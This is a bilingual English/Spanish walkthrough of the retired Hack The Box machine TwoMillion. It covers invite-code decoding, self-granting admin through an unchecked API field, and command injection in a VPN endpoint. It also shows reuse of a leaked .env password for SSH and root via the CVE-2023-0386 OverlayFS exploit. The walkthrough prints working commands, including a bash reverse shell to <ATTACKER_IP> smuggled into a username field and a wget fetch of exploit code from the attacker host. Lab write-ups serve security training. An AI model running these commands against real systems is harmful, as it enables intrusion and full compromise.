TwoMillion
Executive summary — TwoMillion is an Easy Linux box recreating the old Hack The Box site and its famous invite code. The registration JavaScript hides an endpoint that leaks the generation instructions (ROT13-encoded) for a code that itself arrives Base64-encoded; once registered, the admin API doesn't validate privileges and lets us self-assign
is_admin=1, and the VPN-generation endpoint suffers a command injection in theusernameparameter giving RCE aswww-data. A.envfile leaks a password reused for SSH, and root comes via CVE-2023-0386 (OverlayFS/FUSE), hinted at in an internal system mail. An invite code (ROT13/Base64) → registration → admin API (is_admin=1) → command injection → www-data → .env → SSH admin → OverlayFS → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.7.225 |
Attack map
[22,80] nmap → 2million.htb (clone of the old HTB site)
│ obfuscated JS → /invite/how/to/generate (ROT13) → /invite/generate (b64 code)
│ register → enumerate /api/v1 → PUT /admin/settings/update (is_admin=1)
│ POST /admin/vpn/generate → command injection (username)
▼
[RCE] www-data → .env (admin:SuperDuperPass123) reused
▼
[SSH] admin (user.txt)
│ internal mail → OverlayFS/FUSE hint → CVE-2023-0386 (SUID)
▼
[ROOT] root.txt
1. Recon
A fast full-port scan first, then a detailed scan on just the open ports: faster than running
-sCVagainst all 65535 ports at once.
nmap -p- --min-rate 10000 -T4 10.129.7.225 -oN nmap.txt
22/tcp open ssh
80/tcp open http
nmap -sCV -p22,80 10.129.7.225
22/tcp OpenSSH 8.9
80/tcp nginx
The web server redirects to a vhost that doesn't exist yet in our local DNS:
http://2million.htb
echo '10.129.7.225 2million.htb' | sudo tee -a /etc/hosts
ping -c1 2million.htb
Resumen ejecutivo — TwoMillion es un Linux Easy que recrea la antigua web de Hack The Box y su famoso código de invitación. El JavaScript del registro esconde un endpoint que revela las instrucciones (cifradas en ROT13) para generar un código (codificado en Base64); ya registrados, la API de administración no valida privilegios y nos deja auto-asignarnos
is_admin=1, y el endpoint de generación de VPN sufre una inyección de comandos en el parámetrousernameque da RCE comowww-data. Un fichero.envfiltra una contraseña reutilizada para SSH, y el root llega con CVE-2023-0386 (OverlayFS/FUSE), cuya pista aparece en un correo interno del sistema. Recorrido invite code (ROT13/Base64) → registro → API admin (is_admin=1) → command injection → www-data → .env → SSH admin → OverlayFS → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.7.225 |
Mapa del ataque
[22,80] nmap → 2million.htb (clon de la web antigua de HTB)
│ JS ofuscado → /invite/how/to/generate (ROT13) → /invite/generate (código b64)
│ registro → enumeración /api/v1 → PUT /admin/settings/update (is_admin=1)
│ POST /admin/vpn/generate → command injection (username)
▼
[RCE] www-data → .env (admin:SuperDuperPass123) reutilizada
▼
[SSH] admin (user.txt)
│ correo interno → pista OverlayFS/FUSE → CVE-2023-0386 (SUID)
▼
[ROOT] root.txt
1. Reconocimiento
Un escaneo rápido de todos los puertos primero, y uno detallado después solo sobre los abiertos: más rápido que lanzar
-sCVsobre las 65535 puertas de golpe.
nmap -p- --min-rate 10000 -T4 10.129.7.225 -oN nmap.txt
22/tcp open ssh
80/tcp open http
nmap -sCV -p22,80 10.129.7.225
22/tcp OpenSSH 8.9
80/tcp nginx
El servidor web redirige a un vhost que no existe todavía en nuestro DNS local:
http://2million.htb
echo '10.129.7.225 2million.htb' | sudo tee -a /etc/hosts
ping -c1 2million.htb
2. The invite code: JS, ROT13, and Base64
http://2million.htb is a replica of the old Hack The Box site: registration requires an invite code. Browser dev tools show AJAX requests to /api/v1/invite; inspecting the JavaScript reveals another endpoint that's never called from the UI:
/api/v1/invite/how/to/generate
Why it matters: the "how do I generate a code" logic lives server-side as an API, not hidden behind a button. If the endpoint exists, it can be called directly with
curl, bypassing the UI entirely.
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
{
"data":"Va beqre gb trarengr gur vaivgr pbqr..."
}
That's ROT13. Decoded, the message gives the real instruction:
In order to generate the invite code, make a POST request to /api/v1/invite/generate
curl -s -X POST http://2million.htb/api/v1/invite/generate
{
"code":"ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ="
}
The code itself comes Base64-encoded:
echo "ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ=" | base64 -d
0MEG4-BRSC3-HHYJD-S45QD
3. Registration and API enumeration
With the valid code we register at /invite (code, username, e-mail, password) and reach the dashboard. Once authenticated, we enumerate the API surface:
curl -s http://2million.htb/api/v1
Among the listed endpoints are admin routes:
/api/v1/admin/auth
/api/v1/admin/settings/update
/api/v1/admin/vpn/generate
Why this matters: we're a regular user and those admin endpoints still respond to our requests — the API isn't enforcing role-based access, it's just relying on the web client not surfacing them.
We grab the session cookie from the browser (F12 → Application → Cookies → PHPSESSID) to use with curl:
COOKIE='PHPSESSID=<your_cookie>'
4. Privilege escalation — is_admin=1
curl -s http://2million.htb/api/v1/admin/auth \
-H "Cookie: $COOKIE"
{
"admin":0
}
The bug: the endpoint that updates our own profile accepts the
is_adminfield without checking that whoever is setting it already has admin rights. An authorization flag ends up fully client-controlled.
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/json" \
-d '{"email":"you@mail.com","is_admin":1}'
curl -s http://2million.htb/api/v1/admin/auth \
-H "Cookie: $COOKIE"
{
"admin":1
}
We're admins now.
5. Command injection → RCE as www-data
The VPN generation endpoint is admin-only:
/api/v1/admin/vpn/generate
The RCE: the
usernameparameter is concatenated, unsanitised, into a system command that builds the VPN config file. Any command-separator character (;) breaks out of the intended context.
nc -lvnp 4444
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/json" \
-d '{"username":"test;bash -c '\''bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\'';"}'
www-data@2million
We stabilise the shell before enumerating further:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
whoami → www-data
6. Lateral movement — .env → SSH admin
find / -name ".env" 2>/dev/null
/var/www/html/.env
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
That database password is reused for the system user
admin: there's no separation between app credentials and system credentials on this box.
ssh admin@10.129.7.225 # SuperDuperPass123
cat ~/user.txt
7. Root escalation — CVE-2023-0386 (OverlayFS)
uname -r
5.15.70-051570-generic
Checking the system's internal mail turns up a pending maintenance note:
cat /var/mail/admin
The message explicitly mentions an unpatched OverlayFS / FUSE vulnerability, pointing straight at CVE-2023-0386.
What CVE-2023-0386 is: a Linux kernel OverlayFS bug that lets you copy, from a manipulated FUSE layer, a binary with elevated permissions into an attacker-controlled mount point. The outcome is a root-owned SUID binary runnable by any user — direct escalation to root.
We prepare the exploit on Kali:
git clone https://github.com/xkaneiki/CVE-2023-0386.git
cd CVE-2023-0386
tar czf exp.tar.gz *
python3 -m http.server 8000
Then transfer it to the victim:
cd /tmp
wget http://<ATTACKER_IP>:8000/exp.tar.gz
mkdir exp
tar xzf exp.tar.gz -C exp
cd exp
Compile (produces exp, fuse, and gc):
make all
Run in two terminals: first the manipulated FUSE mount, then the exploit.
./fuse ./ovlcap/lower ./gc &
[+] len of gc: 0x3ee0
./exp
The root-owned SUID binary is now in place; we run it and check privileges:
id
uid=0(root)
gid=0(root)
8. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Web recon | Invite JS | Internal endpoints exposed (how/to/generate) behind ROT13/Base64 | Registration without a human invite |
| Web | Admin API | No privilege validation: is_admin self-assignable | App admin escalation |
| Web | /admin/vpn/generate | Command injection in the username parameter | RCE as www-data |
| Lateral | .env | Cleartext credentials reused between app and system | SSH as admin |
| PrivEsc | Kernel (OverlayFS/FUSE) | CVE-2023-0386 | Root |
Lessons learned
- Obfuscating JavaScript isn't security: the endpoints are still there and answer
curljust as well as the UI. - Never trust the client for authorization: a regular user shouldn't be able to flag itself as admin through its own profile API.
- Trivial ciphers (ROT13) aren't access control: at most they obfuscate a developer hint, they should never gate anything real.
- Always sanitise input before passing it to a system command: a single
;inusernameis enough for RCE. - Never reuse passwords between application credentials (
.env) and system accounts. - Keep the kernel patched: OverlayFS/FUSE (CVE-2023-0386) gives trivial local root on vulnerable versions.
2. El código de invitación: JS, ROT13 y Base64
http://2million.htb es una réplica de la antigua web de Hack The Box: el registro exige un código de invitación. Con las herramientas del navegador vemos peticiones AJAX hacia /api/v1/invite; inspeccionando el JavaScript aparece otro endpoint que no se llama desde la interfaz:
/api/v1/invite/how/to/generate
Por qué: la lógica de "generar el código" vive del lado del cliente/servidor como API, no oculta tras un botón. Si el endpoint existe, se puede llamar directamente con
curlsin pasar por la interfaz.
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
{
"data":"Va beqre gb trarengr gur vaivgr pbqr..."
}
Es ROT13. Decodificado, el mensaje da la instrucción real:
In order to generate the invite code, make a POST request to /api/v1/invite/generate
curl -s -X POST http://2million.htb/api/v1/invite/generate
{
"code":"ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ="
}
El código en sí viene en Base64:
echo "ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ=" | base64 -d
0MEG4-BRSC3-HHYJD-S45QD
3. Registro y enumeración de la API
Con el código válido nos registramos en /invite (código, usuario, correo y contraseña) y accedemos al panel. Ya autenticados, enumeramos la superficie de la API:
curl -s http://2million.htb/api/v1
Entre los endpoints listados aparecen rutas de administración:
/api/v1/admin/auth
/api/v1/admin/settings/update
/api/v1/admin/vpn/generate
Por qué importa: somos un usuario normal y, aun así, esos endpoints de admin responden a nuestras peticiones — la API no está restringiendo el acceso por rol, solo confía en que el cliente web no los muestre.
Cogemos la cookie de sesión desde el navegador (F12 → Application → Cookies → PHPSESSID) para usarla con curl:
COOKIE='PHPSESSID=<tu_cookie>'
4. Escalada a administrador — is_admin=1
curl -s http://2million.htb/api/v1/admin/auth \
-H "Cookie: $COOKIE"
{
"admin":0
}
La vulnerabilidad: el endpoint que actualiza nuestro propio perfil acepta el campo
is_adminsin comprobar que quien lo cambia tenga ya privilegios de administrador. Un campo de autorización queda bajo control total del cliente.
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/json" \
-d '{"email":"correo@correo.com","is_admin":1}'
curl -s http://2million.htb/api/v1/admin/auth \
-H "Cookie: $COOKIE"
{
"admin":1
}
Ya somos administradores.
5. Command injection → RCE como www-data
El endpoint de generación de VPN es exclusivo de administradores:
/api/v1/admin/vpn/generate
La RCE: el parámetro
usernamese concatena, sin sanear, en un comando del sistema que genera el fichero de configuración de la VPN. Cualquier carácter de separación de comandos (;) rompe fuera del contexto esperado.
nc -lvnp 4444
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/json" \
-d '{"username":"test;bash -c '\''bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\'';"}'
www-data@2million
Estabilizamos la shell antes de seguir enumerando:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
whoami → www-data
6. Movimiento lateral — .env → SSH admin
find / -name ".env" 2>/dev/null
/var/www/html/.env
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Esa contraseña de base de datos se reutiliza para el usuario de sistema
admin: la separación entre credenciales de app y credenciales de sistema no existe en esta máquina.
ssh admin@10.129.7.225 # SuperDuperPass123
cat ~/user.txt
7. Escalada a root — CVE-2023-0386 (OverlayFS)
uname -r
5.15.70-051570-generic
Revisando el correo interno del sistema aparece una pista de mantenimiento pendiente:
cat /var/mail/admin
El mensaje menciona explícitamente una vulnerabilidad de OverlayFS / FUSE sin parchear, lo que apunta directamente a CVE-2023-0386.
Qué es CVE-2023-0386: un fallo en OverlayFS del kernel de Linux que permite copiar, desde una capa FUSE manipulada, un binario con permisos elevados hacia un punto de montaje controlado por el atacante. El resultado es un binario SUID propiedad de root ejecutable por cualquier usuario — escalada directa a root.
Preparamos el exploit en Kali:
git clone https://github.com/xkaneiki/CVE-2023-0386.git
cd CVE-2023-0386
tar czf exp.tar.gz *
python3 -m http.server 8000
Lo transferimos a la víctima:
cd /tmp
wget http://<ATTACKER_IP>:8000/exp.tar.gz
mkdir exp
tar xzf exp.tar.gz -C exp
cd exp
Compilamos (genera exp, fuse y gc):
make all
Ejecutamos en dos terminales: primero el montaje FUSE manipulado, luego el exploit.
./fuse ./ovlcap/lower ./gc &
[+] len of gc: 0x3ee0
./exp
El binario SUID de root queda creado; lo ejecutamos y comprobamos privilegios:
id
uid=0(root)
gid=0(root)
8. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon web | JS de invitación | Endpoints internos expuestos (how/to/generate) tras ROT13/Base64 | Registro sin invitación humana |
| Web | API de administración | Sin validación de privilegios: is_admin auto-asignable | Escalada a admin de la app |
| Web | /admin/vpn/generate | Command injection en el parámetro username | RCE como www-data |
| Mov. lateral | .env | Credenciales en claro reutilizadas entre app y sistema | SSH como admin |
| PrivEsc | Kernel (OverlayFS/FUSE) | CVE-2023-0386 | Root |
Lecciones aprendidas
- Ofuscar JavaScript no es seguridad: los endpoints siguen ahí y responden a
curligual que a la interfaz. - Nunca confíes en el cliente para la autorización: un usuario normal no debería poder marcarse a sí mismo como administrador desde el propio API de perfil.
- Cifrados triviales (ROT13) no son control de acceso: como mucho, ofuscan un mensaje de ayuda para desarrolladores, nunca deberían proteger nada real.
- Sanea siempre la entrada antes de pasarla a un comando del sistema: un simple
;enusernamebasta para RCE. - Nunca reutilices contraseñas entre credenciales de aplicación (
.env) y cuentas de sistema. - Mantén el kernel parcheado: OverlayFS/FUSE (CVE-2023-0386) da root local trivial en versiones vulnerables.